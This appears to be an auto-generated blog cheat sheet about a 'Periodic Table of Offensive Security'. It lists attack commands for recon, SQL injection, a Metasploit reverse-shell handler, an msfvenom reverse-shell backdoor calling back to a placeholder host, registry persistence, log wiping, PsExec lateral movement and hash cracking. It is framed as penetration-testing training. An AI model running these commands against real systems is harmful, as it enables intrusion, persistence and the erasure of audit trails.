Periodic Table Of Offensive Security: A Hacker’s Cheat Sheet

The Periodic Table of Offensive Security is a visual cheat sheet that organizes core offensive security tactics into a structured, memorable format. Created by Ilias Mavropoulos, this resource helps cybersecurity professionals and ethical hackers categorize attack techniques, tools, and methodologies in an intuitive way.

🔗 Reference: Periodic Table of Offensive Security

You Should Know: Practical Offensive Security Commands & Techniques

1. Reconnaissance (Information Gathering)

Nmap Scan (Network Discovery):
```
nmap -sV -A -T4 target.com
```

Subdomain Enumeration (Using Sublist3r):

sublist3r -d target.com -o subdomains.txt

WHOIS Lookup:
```
whois target.com
```

2. Exploitation (Gaining Access)

Metasploit (Exploit Framework):

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <your-ip>
set LPORT 4444
exploit

SQL Injection (Using SQLmap):

sqlmap -u "http://target.com/login.php?user=admin&pass=test" --dbs

3. Privilege Escalation (Linux & Windows)

Linux (Check SUID Files):
```
find / -perm -4000 -type f 2>/dev/null
```
Windows (PowerShell PrivEsc Check):
```
whoami /priv
```

4. Post-Exploitation (Maintaining Access)

Creating a Backdoor (Linux):

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<your-ip> LPORT=4444 -f elf > backdoor.elf

Windows Persistence (Registry):

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\malware.exe"

5. Covering Tracks (Log Manipulation)

Clearing Linux Logs:
```
echo "" > /var/log/auth.log
```
Windows Event Log Clearing:
```
wevtutil cl Security
```

What Undercode Say

The Periodic Table of Offensive Security is an excellent framework for structuring penetration testing knowledge. By categorizing attack vectors, it helps security professionals systematically approach ethical hacking.

Additional Linux & Windows Commands for Offensive Security:

Network Traffic Analysis (TCPdump):
```
tcpdump -i eth0 -w capture.pcap
```

Windows Lateral Movement (PsExec):

PsExec.exe \target-pc -u admin -p password cmd.exe

Password Cracking (Hashcat):
```
hashcat -m 1000 hashes.txt rockyou.txt
```

Expected Output:

A structured, actionable cheat sheet for offensive security operations, integrating real-world commands and methodologies.

Prediction

As cyber threats evolve, visual frameworks like the Periodic Table of Offensive Security will become essential for training and real-world red teaming. Expect more AI-driven automation in penetration testing, reducing manual effort while increasing precision.

🔗 More Resources:

IT/Security Reporter URL:

Reported By: Pethu Redteam – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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